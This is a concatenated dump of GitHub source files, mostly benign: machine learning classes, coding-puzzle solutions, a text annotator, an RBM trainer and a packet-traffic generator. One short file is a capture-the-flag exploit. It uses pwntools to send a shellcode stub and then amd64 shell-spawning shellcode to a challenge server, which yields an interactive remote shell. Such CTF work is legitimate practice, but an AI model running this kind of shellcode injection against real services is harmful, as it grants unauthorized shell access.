LogisticRegression(object):\n \"\"\"Define LogisticRegression Class\"\"\"\n def __init__(self):\n# self.X = np.matrix(X)\n# self.y = np.matrix(y)\n# self.theta = np.matrix(theta)\n#\n# self.dimension = X.shape[1]\n#\n# if theta.shape[0] != self.dimension:\n# raise DimensionValueError(\"N Variables error\")\n#\n# self.m = y.size\n# self.learningRate = learningRate\n# self.num_labels = num_labels\n pass\n\n def sigmoid(self, z):\n return (1.0/(1.0 + np.exp(-1.0*z)))\n\n def compute_cost(self, theta, X, y, learningRate):\n X = np.matrix(X)\n y = np.matrix(y)\n theta = np.matrix(theta)\n \n first = np.multiply(-y, np.log(self.sigmoid(X*theta.T)))\n second = np.multiply((1-y), np.log(1-self.sigmoid(X*theta.T)))\n reg = (learningRate/2*len(X))*np.sum(np.power(theta[:, 1:theta.shape[1]],2))\n \n return np.sum(first-second)/(len(X)) + reg\n\n def gradient_descent(self, theta, X, y, learningRate):\n X = np.matrix(X)\n y = np.matrix(y)\n theta = np.matrix(theta)\n\n parameters = int(theta.flatten().shape[1])\n error = self.sigmoid(X*theta.T) - y\n\n grad = ((X.T*error)/len(X)).T + ((learningRate/len(X))*theta)\n grad[0,0] = np.sum(np.multiply(error, X[:, 0]))/len(X)\n\n return np.array(grad).flatten()\n\n def one_vs_all(self, theta, X, y, learningRate, num_labels):\n X = np.matrix(X)\n y = np.matrix(y)\n theta = np.matrix(theta)\n\n rows = X.shape[0]\n params = X.shape[1]\n\n all_theta = np.zeros((num_labels, params))\n\n for i in range(1, num_labels+1):\n y_i = np.array([1 if label == i else 0 for label in y])\n y_i = np.reshape(y_i, (rows, 1))\n\n fmin = minimize(fun = self.compute_cost, x0 = theta, args = (X, y_i, learningRate), method = 'TNC', jac = self.gradient_descent)\n all_theta[i-1, :] = fmin.x\n return all_theta\n\n def predict_all(self, X, all_theta):\n rows = X.shape[0]\n params = X.shape[1]\n num_lables = all_theta.shape[0]\n\n X = np.matrix(X)\n all_theta = np.matrix(all_theta)\n\n h = self.sigmoid(X*all_theta.T)\n h_argmax = np.argmax(h, axis = 1)\n h_argmax = h_argmax+1\n return h_argmax\n\n#if __name__ == '__main__':\n# LR = LogisticRegression(X, y, theta)\n# p = LR.fit()\n","repo_name":"Hehehe421/LearnAAll","sub_path":"code/MyLogisticRegression.py","file_name":"MyLogisticRegression.py","file_ext":"py","file_size_in_byte":2761,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"74897799231","text":"#!/usr/bin/python\n\n\"\"\"\n\nThis problem was asked by Google.\n\nGiven an array of elements, return the length of the longest subarray where all its elements are distinct.\n\nFor example, given the array [5, 1, 3, 5, 2, 3, 4, 1], return 5 as the longest subarray of distinct elements is [5, 2, 3, 4, 1].\n\n\"\"\"\n\n# Solution:\n#\n# Use a hash table to keep track of the last position an element was seen\n# Parse through the array and keep track of the largest distinct array seen so far\n# Each time we see an element that was seen before,\n# Update the starting index of the current longest distinct array\n# That is the index to the right of the last position the current element was seen\n# Check if this length is greater than the longest distinct array we've seen so far\n\ndef longest_distinct_subarray(arr):\n positions=dict()\n start=0\n len_so_far,longest=0,0\n for i,n in enumerate(arr):\n if n not in positions or start>positions[n]:\n len_so_far+=1\n longest=max(len_so_far,longest)\n else:\n start=positions[n]+1\n len_so_far=i-start+1\n positions[n]=i\n return longest\n\nassert longest_distinct_subarray([5, 1, 3, 5, 2, 3, 4, 1])==5\nassert longest_distinct_subarray([5, 1, 3, 5, 2, 3, 4, 1, 4])==5\n","repo_name":"yanshg/daily_coding_problems","sub_path":"solutions/189_longest_subarray_with_distinct_elements.py","file_name":"189_longest_subarray_with_distinct_elements.py","file_ext":"py","file_size_in_byte":1295,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"17077633252","text":"import pytest\n\nfrom huffman import Huffman\n\n\ndef test_huffman_encode_decode_reverse():\n initial = 'A man, a plan, a canal, Panama'\n huffman = Huffman(initial)\n\n message = initial\n encoded = huffman.encode(message)\n decoded = huffman.decode(encoded)\n assert message == decoded\n\n message = 'nana'\n encoded = huffman.encode(message)\n decoded = huffman.decode(encoded)\n assert message == decoded\n\n\ndef test_huffman_init_only_one_symbol():\n huffman = Huffman('a')\n assert '0' == huffman.encode('a')\n\n\ndef test_huffman_init_empty_string():\n with pytest.raises(ValueError):\n Huffman('')\n","repo_name":"codebicycle/python-practice-two","sub_path":"huffman_test.py","file_name":"huffman_test.py","file_ext":"py","file_size_in_byte":626,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"11560575137","text":"#!/usr/bin/python\n\nimport sys\nimport os\nimport time\nimport json\nimport logging\nimport errno\nimport threading\nimport traceback\nimport datetime\n\nimport create_packet\n\nfrom optparse import OptionParser\n\ndef main():\n # set up logging to file - messages with level \"DEBUG\" or higher will be written to the file\n logging.basicConfig(filename='debugfile.log',\n format='%(asctime)s| %(message)s', filemode='w', level=logging.DEBUG)\n logging.getLogger().setLevel(logging.INFO)\n console = logging.StreamHandler(sys.stdout)\n # add the hanlder to the root logger\n logging.getLogger('').addHandler(console)\n\n parser = OptionParser()\n parser.add_option(\n \"-c\",\n \"--config\",\n dest=\"config\",\n help=\"Configuration JSON file\",\n metavar=\"FILE\",\n default=\"traffic_to_generate.json\")\n\n (options, _) = parser.parse_args()\n\n if os.path.isfile(options.config):\n with open(options.config) as trafficConfiguration:\n configuration = json.load(trafficConfiguration)\n\n trafficProfile = configuration[0]['TrafficProfiles']\n profiles = len(configuration[0]['TrafficProfiles'])\n\n for profiles in trafficProfile:\n protocolType = profiles['ProtocolType']\n ipvType = profiles['IPVType']\n sourceAddress = profiles['SourceAddress']\n destAddress = profiles['DestAddress']\n sourcePort = profiles['SourcePort']\n destPort = profiles['DestPort']\n packetSize = profiles['PacketSize']\n numberOfFlows = profiles['NumberOfFlows']\n\n logging.info(\"Packet info from json file: \" + str((ipvType, sourceAddress, destAddress, sourcePort, destPort, packetSize, numberOfFlows)))\n\n if protocolType == \"TCP\":\n create_packet.create_tcp_flow(ipvType, sourceAddress, destAddress, sourcePort, destPort, packetSize, numberOfFlows)\n elif protocolType == \"UDP\":\n create_packet.create_udp_flow(ipvType, sourceAddress, destAddress, sourcePort, destPort, packetSize, numberOfFlows)\n\n firstNetworkInterface = configuration[0]['NetworkInterface']['FirstInterface']\n\n logging.info(\"Network interface selected: \" + str(firstNetworkInterface))\n\n if configuration[0]['PcapOptions']['SaveThePcap'] == \"True\":\n filename = configuration[0]['PcapOptions']['PcapName']\n create_packet.create_pcap_file(filename)\n create_packet.transmit_traffic(firstNetworkInterface, \"pcap\", filename)\n else:\n create_packet.transmit_traffic(firstNetworkInterface, \"memory\")\n\nif __name__ == \"__main__\":\n main()","repo_name":"Ash-Rahman/Configurable-Universal-Network-Traffic-Simulator","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":2770,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"11142909595","text":"\"\"\"\nThis module contains Annotator functionality.\n\nClasses\n-------\n\n - Annotator: Manage and coordinate interactions between other classes\n involved in the annotation process.\n - AnnotatorGUI: Widget graphic user interface.\n - AnnotatorDataLoader: Loads and manages the dataset for an annotator.\n - DataPoint: Encapsulate one item of the a dataset.\n\"\"\"\nfrom typing import Union, List, Dict\n\nimport pandas as pd\nfrom datasets import Dataset\nfrom IPython.display import clear_output, display\nfrom ipywidgets import Button, HBox, Output, Layout\n\nfrom txtanot.core.similarity import SimilarityEngine\n\n\nclass DataPoint:\n \"\"\"Represents a single item in a dataset.\n\n This class encapsulate a data point. It has the data and the state of\n the item and it knows how to render it on the widget.\n \"\"\"\n def __init__(self, data: pd.Series):\n self.data = data\n self.idx = self.data['id']\n \n def render(self):\n print('ID:', self.data['id'])\n print('Label:', self.data['label'])\n print()\n print(self.data['text'])\n print('------------------------------')\n\n def set_label(self, label):\n self.data['label'] = label\n\n @property\n def label(self):\n return self.data['label']\n\n def is_annotated(self):\n # If the item's label is not null, then it is annotated.\n return not pd.isna(self.data['label'])\n\n def __eq__(self, other):\n return self.idx == other.idx\n \n def __repr__(self):\n cls = self.__class__.__name__\n return f'{cls}(data={self.data})'\n\n\nclass AnnotatorDataLoader:\n \"\"\"Loads and manages data for an annotator.\"\"\"\n def __init__(self, data: Union[pd.DataFrame, List[Dict]], filter_annotated):\n if isinstance(data, pd.DataFrame):\n self.data = data.copy().to_dict('records')\n else:\n self.data = data\n self.num_rows = len(self.data)\n self.position = 0\n self.filter_annotated = filter_annotated\n self.items_in_session = []\n \n def get_item(self, position) -> DataPoint:\n \"\"\"Retrieves the data point at the specified position in the dataset.\"\"\"\n data_point = DataPoint(self.data[position])\n return data_point\n \n def next_item(self) -> DataPoint:\n \"\"\"Retrieves the next data point to the current data point.\n\n If `filter_annotated` is True then skip data points annotated in\n previous sessions.\n \"\"\"\n self.position += 1\n if self.position == self.num_rows:\n self.position = 0\n\n # Retrieve data point.\n data_point = self.get_item(self.position)\n # Check if it is already annotated.\n annotated = data_point.is_annotated()\n # Check if annotation has been made in the current session.\n in_sess = data_point in self.items_in_session\n\n # Check if the data point has to be skipped or not.\n if self.filter_annotated and annotated and not in_sess:\n try:\n return self.next_item()\n except RecursionError:\n print('RecursionError: There are no items to be annotated. Try'\n ' `filter_annotated=False`')\n else:\n return data_point\n \n def previous_item(self) -> DataPoint:\n \"\"\"Retrieves the next data point to the current data point.\n\n If `filter_annotated` is True then skip data points annotated in\n previous sessions.\n \"\"\"\n self.position -= 1\n if self.position == -1:\n self.position = self.num_rows - 1\n\n # Retrieve data point.\n data_point = self.get_item(self.position)\n # Check if it is already annotated.\n annotated = data_point.is_annotated()\n # Check if annotation has been made in the current session.\n in_sess = data_point in self.items_in_session\n\n # Check if the data point has to be skipped or not.\n if self.filter_annotated and annotated and not in_sess:\n try:\n return self.previous_item()\n except RecursionError:\n print('RecursionError: There are no items to be annotated. Try'\n ' `filter_annotated=False`')\n else:\n return data_point\n\n def annotate(self, data_point):\n \"\"\"Set the data point as being annotated in the current session.\"\"\"\n self.items_in_session.append(data_point)\n\n\nclass AnnotatorGUI:\n \"\"\"Graphic User Interface\n\n This class manages the widget interface buttons and renders items\n of the dataset.\n \"\"\"\n def __init__(self, data: AnnotatorDataLoader, classes: list) -> None:\n\n # Store list of available class labels.\n self.classes = classes\n \n # Dataloader.\n self.data = data\n \n # Current data point being annotated.\n self.data_point: DataPoint = None\n\n def _next(self, *args) -> None:\n \"\"\"Callable function for the widget button Next.\n\n Loads the Next data point and renders it.\n \"\"\"\n self.data_point = self.data.next_item()\n with self.frame:\n clear_output(wait=True)\n print(f'{self.data.position}/{self.data.num_rows}')\n self.data_point.render()\n\n def _go_back(self, *args) -> None:\n \"\"\"Callable function for the widget button GoBack.\n\n Loads the previous data point and renders it.\n \"\"\"\n self.data_point = self.data.previous_item()\n with self.frame:\n clear_output(wait=True)\n print(f'{self.data.position}/{self.data.num_rows}')\n self.data_point.render()\n\n def _select_label(self, button: Button) -> None:\n \"\"\"Annotates the data point\"\"\"\n # Uses the label in the selected button as the classification label.\n self.data_point.set_label(button.description)\n # Sets the data point as an item being annotated in the\n # current annotation session.\n self.data.annotate(self.data_point)\n # Loads next data point.\n self._next()\n\n def start(self) -> None:\n \"\"\"Start the annotation procedure.\n\n Load the first item to label and set up the user interface.\n \"\"\"\n self.frame = Output(layout=Layout(height=\"300px\", max_width=\"600px\"))\n \n self.data_point = self.data.next_item()\n with self.frame:\n self.data_point.render()\n\n # Navigation buttons\n backward_button = Button(description=\"< go back\")\n backward_button.on_click(self._go_back)\n forward_button = Button(description=\"next >\")\n forward_button.on_click(self._next)\n self.navigation_buttons = [backward_button, forward_button]\n\n # Class label buttons\n self.class_buttons = []\n for label in self.classes:\n label_button = Button(description=label)\n label_button.on_click(self._select_label)\n self.class_buttons.append(label_button)\n\n # Display contents\n display(self.frame)\n display(HBox(self.navigation_buttons))\n display(HBox(self.class_buttons))\n\n\nclass Annotator:\n \"\"\"Facade class.\n\n Annotator high level interface. Manage and coordinate interactions between\n other classes involved in the annotation process.\n \"\"\"\n def __init__(self, data: Union[pd.DataFrame, List[Dict]], classes: list,\n filter_annotated: bool = True, shuffle=False):\n\n # Data may be a DataFrame or a list of rows (dicts)\n if isinstance(data, pd.DataFrame):\n if shuffle:\n self.data = data.sample(frac=1).copy().to_dict('records')\n else:\n self.data = data.copy().to_dict('records')\n else:\n self.data = data\n\n self.classes = classes\n\n self.main_dataloader = AnnotatorDataLoader(self.data, filter_annotated=filter_annotated)\n self.sim_dataloader = None\n self.similarity_engine = None\n\n print(f'Data rows: {len(self.data)}')\n\n def build_index(self, field, checkpoint=None):\n \"\"\"Loads HuggingFace model, extract embeddings, build a Faiss index.\"\"\"\n index_dataset = Dataset.from_pandas(pd.DataFrame(self.data))\n self.similarity_engine = SimilarityEngine(checkpoint)\n self.similarity_engine.index(index_dataset, field)\n\n def start(self):\n \"\"\"Starts the annotation session. Renders the widget.\"\"\"\n gui = AnnotatorGUI(self.main_dataloader, self.classes)\n gui.start()\n\n def similar(self, text, n=10):\n \"\"\"Search the similarity index for the N most similar data points.\"\"\"\n # Extract similar texts from the index.\n df: pd.DataFrame = self.similarity_engine.similar(text, n)\n # Build data points\n idxs = [DataPoint(row).idx for i, row in df.iterrows()]\n data = [row for row in self.data if DataPoint(row).idx in idxs]\n self.sim_dataloader = AnnotatorDataLoader(data, filter_annotated=True)\n gui = AnnotatorGUI(self.sim_dataloader, self.classes)\n gui.start()\n\n def merge_similar(self):\n sim_data = self.sim_dataloader.data\n\n sim_data_points = [DataPoint(item) for item in sim_data]\n data_points = [DataPoint(item) for item in self.data]\n for dp_sim in sim_data_points:\n for dp in data_points:\n if dp_sim == dp:\n if dp_sim.is_annotated():\n dp.set_label(dp_sim.label)\n self.main_dataloader.annotate(dp)\n\n def counts(self, field):\n df = pd.DataFrame(self.data)\n print(df[field].value_counts())\n","repo_name":"srgsol/txtanot","sub_path":"txtanot/core/text_annotator.py","file_name":"text_annotator.py","file_ext":"py","file_size_in_byte":9644,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"5900172152","text":"\"\"\" The CD trainer \n\nThe class trains an RBM object with given metaparameters and dataset.\n\"\"\"\n\nfrom __future__ import print_function\nimport numpy as np\nimport os\nimport sys\nimport random\nimport copy\nimport time \nimport json\nimport gc\n\nclass trainerCD1(object):\n\n def __init__(self, params):\n \"\"\" Constructor method\n\n Keywords [ params]:\n -- params: dictionary of the required parameters\n -- learning_rate: the used learning rate if contant\n -- used_labels: vector of the used labels \n -- first label in the list gets the vector [1,0,0,0,...]\n second label gets [0,1,0,0...] etc.\n -- sigma_w: initial sigma for the weights NOTE: overrides the RBM sigma\n -- sigma_b: initial sigma for the biases NOTE: overrides the RBM sigma \"\"\"\n \n\n self.eta = params['learning_rate']\n self.eta_w = self.eta\n self.eta_bv = self.eta\n self.eta_bh = self.eta\n self.labels = params['used_labels']\n self.n_labels = len(self.labels)\n self.sigma_b = params['sigma_b']\n self.sigma_w = params['sigma_w']\n \n self.constrained = False\n\n self.label_dic = {}\n i = 0\n for l in self.labels:\n rbmLabel = np.zeros(self.n_labels)\n rbmLabel[i] = 1\n self.label_dic[l] = rbmLabel\n i += 1\n\n def setConstraints(self, w, b):\n \"\"\" Set symmetric constraints on the paramters \n \n Keywords: [w, b]\n -- w: constraint for the weights\n -- b: constraint for the biases\n \"\"\"\n\n self.con_w = w\n self.con_b = b\n self.constrained = True\n\n def setLearningRates( self, eta_w, eta_bv, eta_bh):\n \"\"\" Set the learining rates for the trainer. Especially the learning rates for the weights and biases can be independently modified.\n If this method is not used then there is only one learning rate for all the parameters.\n\n Keywords: [ eta_w, eta_bv, eta_bh]\n -- eta_w: weights learning rate\n -- eat_bv: visible bias learning rate\n -- eta_bh: hidden learning rate\n \"\"\"\n\n self.eta_w = eta_w\n self.eta_bv = eta_bv\n self.eta_bh = eta_bh\n\n def connectRBM(self, RBM):\n \"\"\" Connect the RBM object to the trainer\n\n Keywords [RBM]:\n -- RBM - the RBm object \"\"\"\n\n self.RBM = RBM\n\n def connectDataManager(self, DM):\n \"\"\" Connect the DM object to the trainer\n\n Keywords [ DM]:\n -- DM - the dataManager object \"\"\"\n\n self.DM = DM\n \n def initTraining(self):\n \"\"\" Initialize the weigths and biases of the BM \"\"\"\n\n self.RBM.params['sigma_b'] = self.sigma_b\n self.RBM.params['sigma_W'] = self.sigma_w\n\n self.RBM.randomInit()\n\n #@profile\n def getOneGradient(self, feature, label):\n \"\"\" Do CD on one example of the batch and return the obtained gradient\n\n Keywords: [feature, label]\n -- feature: the feature vector\n -- label: name of the label\n\n Return: [gradient_w, gradient_bh, gradient_bv]\n -- gradient_w: Matrix of the weigth gradient\n -- gradient_bh: Vector of the bias gradient for the hidden units\n -- gradient_bv: Vector of the bias gradient for the visible units\n \"\"\"\n\n # First create the visible input from the data\n vinput = np.append(feature, self.label_dic[label]) * 0.95 + 0.025\n vinput = np.log(1./(1./vinput - 1.))\n self.RBM.setVisibleInput(vinput)\n\n # Initialize in a random state and do the updates\n self.RBM.randomStateInit()\n\n v_data = self.RBM.Update_visible()\n h_data = self.RBM.Update_hidden()\n\n self.RBM.delVisibleInput()\n\n v_recon = self.RBM.Update_visible()\n h_recon = self.RBM.Update_hidden()\n\n # Calculate the necessary gradients\n gradient_w = np.outer(h_data,v_data) - np.outer(h_recon, v_recon)\n gradient_bh = h_data - h_recon\n gradient_bv = v_data - v_recon\n \n return [ gradient_w, gradient_bh, gradient_bv]\n\n #@profile\n def getOneMiniBatchGradient( self, miniBatch):\n \"\"\" Take one minibatch as it is created by the data manager and get the average gradient over the minibatch\n \n Keywords: [miniBatch]\n -- miniBatch: as created by the data manager\n\n Returns: [a_grW, a_grh, a_grv]\n -- a_grW: average gradient of the weights\n -- a_grbh: average gradient of the hidden biases\n -- a_grbv: average gradient of the visible biases\n \"\"\"\n\n m = len(miniBatch)\n a_grW = np.zeros( (self.RBM.n_hidden, self.RBM.n_visAll))\n a_grbh = np.zeros( self.RBM.n_hidden)\n a_grbv = np.zeros( self.RBM.n_visAll)\n\n for example in miniBatch:\n gr = self.getOneGradient( example['feature'], example['label'])\n a_grW += gr[0]\n a_grbh += gr[1]\n a_grbv += gr[2]\n\n a_grW = a_grW/m\n a_grbh = a_grbh/m\n a_grbv = a_grbv/m\n\n return [a_grW, a_grbh, a_grbv]\n\n #@profile\n def trainRBM( self, N, outFolder = 'trainingData'):\n \"\"\" Train the RBM using balanced minibatches for N steps \n \n Keywords: N, optinal: outFolder\n -- N : number of training steps, One step is a training step on a minibatch\n -- outFolder: path of the folder to save the data\n \"\"\"\n \n \n self.DM.setUsedLabels( self.labels)\n self.DM.prepareBag()\n\n # Prepare outFolder\n if not os.path.exists( outFolder):\n os.makedirs( outFolder)\n\n # Arrays to save the training history\n self.TH_biash = []\n self.TH_biasv = []\n self.TH_W = []\n\n # Measure the needed time for training\n t1 = time.clock()\n\n for i in xrange(N):\n \n # get the gradients\n grad = self.getOneMiniBatchGradient( self.DM.getBalancedMiniBatch())\n \n # Update weights and biases\n self.RBM.W += self.eta_w * grad[0]\n self.RBM.b_h += self.eta_bh * grad[1]\n self.RBM.b_v += self.eta_bv * grad[2]\n if self.constrained:\n self.RBM.W.clip( -self.con_w, self.con_w, out = self.RBM.W)\n self.RBM.b_h.clip( -self.con_b, self.con_b, out = self.RBM.b_h)\n self.RBM.b_v.clip( -self.con_b, self.con_b, out = self.RBM.b_v)\n\n # Save the weights and biases\n j = i + 1\n if i%500 == 0:\n W = 'weights%08d.npy' %i\n b_h = 'biasH%08d.npy' %i\n b_v = 'biasV%08d.npy' %i\n np.save( os.path.join( outFolder, W), self.RBM.W)\n np.save( os.path.join( outFolder, b_h), self.RBM.b_h)\n np.save( os.path.join( outFolder, b_v), self.RBM.b_v)\n \n if i%5000 == 0:\n gc.collect()\n\n\n # Report to the console\n \n text = '\\rTraining is finished for the %sth training step' %j\n print( text, end='')\n sys.stdout.flush()\n\n dt = time.clock() - t1\n \n self.RBM.storeMetaTraining( self.labels)\n print('')\n print('Training has finished')\n time_rep = 'The training took: %s sec' %dt\n print(time_rep)\n\n\n### Classic CD1 trainer ###\n\nclass trainerCD1Classic( trainerCD1):\n\n def getOneGradient(self, feature, label):\n \"\"\" Do CD on one example of the batch and return the obtained gradient\n The clamping is done in the classic manner. I.e. the pictue is binarized adn clamped\n\n Keywords: [feature, label]\n -- feature: the feature vector\n -- label: name of the label\n\n Return: [gradient_w, gradient_bh, gradient_bv]\n -- gradient_w: Matrix of the weigth gradient\n -- gradient_bh: Vector of the bias gradient for the hidden units\n -- gradient_bv: Vector of the bias gradient for the visible units\n \"\"\"\n \n self.RBM.randomStateInit()\n\n # First create the visible input from the data\n visibleClamped = np.append(feature, self.label_dic[label])\n r = np.ones( self.RBM.n_visAll ) * 0.5\n visibleClamped = np.floor( visibleClamped - r + 1.)\n self.RBM.states_v = visibleClamped\n v_data = visibleClamped\n\n # Initialize in a random state and do the updates\n\n h_data = self.RBM.Update_hidden()\n\n v_recon = self.RBM.Update_visible()\n h_recon = self.RBM.Update_hidden()\n\n # Calculate the necessary gradients\n gradient_w = np.outer(h_data,v_data) - np.outer(h_recon, v_recon)\n gradient_bh = h_data - h_recon\n gradient_bv = v_data - v_recon\n \n return [ gradient_w, gradient_bh, gradient_bv]\n\n\nclass trainerCD1Unsupervized( trainerCD1): \n \"\"\" Class which trains the BM in an unsupervized manner \"\"\"\n \n def getOneGradient(self, feature, label):\n \"\"\" Do CD on one example of the batch and return the obtained gradient\n\n Keywords: [feature, label]\n -- feature: the feature vector\n -- label: name of the label\n\n Return: [gradient_w, gradient_bh, gradient_bv]\n -- gradient_w: Matrix of the weigth gradient\n -- gradient_bh: Vector of the bias gradient for the hidden units\n -- gradient_bv: Vector of the bias gradient for the visible units\n \"\"\"\n\n # First create the visible input from the data\n vinput = feature * 0.95 + 0.025\n vinput = np.log(1./(1./vinput - 1.))\n self.RBM.setVisibleInput(vinput)\n\n # Initialize in a random state and do the updates\n self.RBM.randomStateInit()\n\n v_data = self.RBM.Update_visible()\n h_data = self.RBM.Update_hidden()\n\n self.RBM.delVisibleInput()\n\n v_recon = self.RBM.Update_visible()\n h_recon = self.RBM.Update_hidden()\n\n # Calculate the necessary gradients\n gradient_w = np.outer(h_data,v_data) - np.outer(h_recon, v_recon)\n gradient_bh = h_data - h_recon\n gradient_bv = v_data - v_recon\n \n return [ gradient_w, gradient_bh, gradient_bv]\n\n\nclass trainerCD1UnsupervizedClassic( trainerCD1): \n \"\"\" Class which trains the BM in an unsupervized manner \"\"\"\n \n def getOneGradient(self, feature, label):\n \"\"\" Do CD on one example of the batch and return the obtained gradient\n\n Keywords: [feature, label]\n -- feature: the feature vector\n -- label: name of the label\n\n Return: [gradient_w, gradient_bh, gradient_bv]\n -- gradient_w: Matrix of the weigth gradient\n -- gradient_bh: Vector of the bias gradient for the hidden units\n -- gradient_bv: Vector of the bias gradient for the visible units\n \"\"\"\n\n self.RBM.randomStateInit()\n\n # First create the visible input from the data\n visibleClamped = feature\n r = np.ones( self.RBM.n_visAll ) * 0.5\n visibleClamped = np.floor( visibleClamped - r + 1.)\n self.RBM.states_v = visibleClamped\n v_data = visibleClamped\n\n\n # Initialize in a random state and do the updates\n \n\n v_data = self.RBM.Update_visible()\n h_data = self.RBM.Update_hidden()\n\n self.RBM.delVisibleInput()\n\n v_recon = self.RBM.Update_visible()\n h_recon = self.RBM.Update_hidden()\n\n # Calculate the necessary gradients\n gradient_w = np.outer(h_data,v_data) - np.outer(h_recon, v_recon)\n gradient_bh = h_data - h_recon\n gradient_bv = v_data - v_recon\n \n return [ gradient_w, gradient_bh, gradient_bv]\n","repo_name":"afkungl/HWconformCD","sub_path":"codes/classes/trainerCD1.py","file_name":"trainerCD1.py","file_ext":"py","file_size_in_byte":11752,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"31233298426","text":"# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, val=0, next=None):\n# self.val = val\n# self.next = next\nclass Solution:\n def removeNthFromEnd(self, head: Optional[ListNode], n: int) -> Optional[ListNode]:\n # Two Pointers \n # Time Complexity: O(n)\n dummy = ListNode(0, head)\n left = dummy \n right = head \n\n # we keep shifting till n=0, it means we have shifted \n # keeping the gap between left and right of \"n\" ->offset of n\n # first we move just the right pointer and then we do both left and right pointers\n while n>0 and right:\n right = right.next \n n -= 1 \n \n while right:\n left = left.next \n right = right.next \n\n # delete operation \n left.next = left.next.next \n return dummy.next \n ","repo_name":"MeghanaPG/Linked-List","sub_path":"0019-remove-nth-node-from-end-of-list/0019-remove-nth-node-from-end-of-list.py","file_name":"0019-remove-nth-node-from-end-of-list.py","file_ext":"py","file_size_in_byte":887,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"29148413769","text":"from pwn import *\nr = remote('shellcodeme.420blaze.in', 420)\nr.sendline(\"\\x5f\\x5f\\x52\\x5E\\x58\\x58\\x58\"+\"\\x5a\"*33+\"\\x0F\\x05\")\n\ntime.sleep(2)\n\ncontext.arch=\"amd64\"\nr.send(\"\\x90\"*79+asm(shellcraft.amd64.sh()))\n\nr.interactive()","repo_name":"Jinmo/ctfs","sub_path":"2018/blaze/pwn/shellcodeme.py","file_name":"shellcodeme.py","file_ext":"py","file_size_in_byte":223,"program_lang":"python","lang":"en","doc_type":"code","stars":150,"dataset":"github-code","pt":"60"} +{"seq_id":"6047839869","text":"from flask import Flask\nfrom flask import render_template\nfrom pymongo import MongoClient\nimport json\nimport os\n\napp = Flask(__name__)\n\n# when hosting via local server\nMONGODB_HOST = 'localhost'\nMONGODB_PORT = 27017\nDBS_NAME = 'Adoptdata'\nCOLLECTION_NAME = 'projects'\n\n# when hosting via heroku\n# MONGO_URI = os.getenv('MONGODB_URI', 'mongodb://localhost:27017')\n# DBS_NAME = os.getenv('MONGO_DB_NAME', 'Adoptdata')\n# COLLECTION_NAME = 'adoptionData'\n\n\n@app.route(\"/\")\ndef index():\n \"\"\"\n A Flask view to serve the main dashboard page.\n \"\"\"\n return render_template(\"index.html\")\n\n\n@app.route(\"/Adoptdata/projects\")\ndef Adoptdata():\n \"\"\"\n A Flask view to serve the project data from\n MongoDB in JSON format.\n \"\"\"\n\n # A constant that defines the record fields that we wish to retrieve.\n FIELDS = {\n '_id': False,\n 'area': True, 'region' : True, 'year' : True, 'number' : True\n }\n\n # Open a connection to MongoDB using a with statement such that the\n # connection will be closed as soon as we exit the with statement\n\n # for Heroku\n # with MongoClient(MONGO_URI) as conn:\n\n # for local host\n with MongoClient(MONGODB_HOST, MONGODB_PORT) as conn:\n # Define which collection we wish to access\n collection = conn[DBS_NAME][COLLECTION_NAME]\n # Retrieve a result set only with the fields defined in FIELDS\n # and limit the the results to 55000 -- do I nd this on this occasion?\n projects = collection.find(projection=FIELDS, limit=55000)\n # Convert projects to a list in a JSON object and return the JSON data\n return json.dumps(list(projects))\n\n\nif __name__ == \"__main__\":\n app.run(debug=True)","repo_name":"jones-cd/Stream2project","sub_path":"s2project.py","file_name":"s2project.py","file_ext":"py","file_size_in_byte":1710,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"27943786108","text":"from time import time\nfrom matplotlib import pyplot as plt\nimport numpy as np\nimport pandas as pd\nfrom akll import AKLL\nfrom dataset import Dataset\nfrom kll import KLL\nimport warnings\n\nwarnings.filterwarnings(\"ignore\")\n\ndataset_name = \"phishing\"\n\ndataset = Dataset(f\"dataset/{dataset_name}.csv\")\n\nstart_range, end_range = 5, 10\nk = np.arange(start_range, end_range)\n\nuid = np.random.randint(0, 100)\n\nkll_log = []\nakll_log = []\n\nfor i in k:\n K = 2**i\n\n print(f\"running kll for k: {K}\")\n kll = KLL(dataset)\n ts = time()\n centers = kll.fit(K)\n te = time()\n kll_log.append(te - ts)\n print(f\"kll runs in: {te - ts}sec\")\n\n print(f\"running akll for k: {K}\")\n akll = AKLL(dataset)\n ts = time()\n centers = akll.fit(K)\n te = time()\n akll_log.append(te - ts)\n print(f\"akll runs in: {te - ts}sec\")\n\nx_axis = (2**k).astype(str)\n\nlog_kll_log = np.log(kll_log)\nlog_akll_log = np.log(akll_log)\nplt.figure(facecolor=\"white\", figsize=(6, 4))\nplt.plot(x_axis, log_kll_log, \".-\", label=\"K-means||\")\nplt.plot(x_axis, log_akll_log, \".-\", label=\"Accelerated K-Means||\")\nplt.xlabel(\"K\")\nplt.ylabel(\"log2(sec)\")\nplt.title(f\"Runtime {dataset_name}\")\nplt.legend(loc=\"best\")\nplt.savefig(\n f\"report/{uid}_kmeans_parallel_Runtime_{dataset_name}_k_{start_range}-{end_range-1}\"\n)\nplt.show()\n\nspeedup_result = np.divide(kll_log, akll_log)\nlog_speedup_result = np.log(speedup_result)\nplt.figure(facecolor=\"white\", figsize=(6, 4))\nplt.plot(x_axis, log_speedup_result, \".-\")\nplt.xlabel(\"K\")\nplt.ylabel(\"log2(Speedup)\")\nplt.title(f\"Speed comparison {dataset_name}\")\nplt.legend(loc=\"best\")\nplt.savefig(\n f\"report/{uid}_kmeans_parallel_{dataset_name}_Speed_comparison_k_{start_range}-{end_range-1}\"\n)\nplt.show()\n\ndf = pd.DataFrame(\n np.array(\n [\n kll_log,\n akll_log,\n speedup_result,\n log_kll_log,\n log_akll_log,\n log_speedup_result,\n ]\n ).T,\n columns=[\n \"kll_log\",\n \"akll_log\",\n 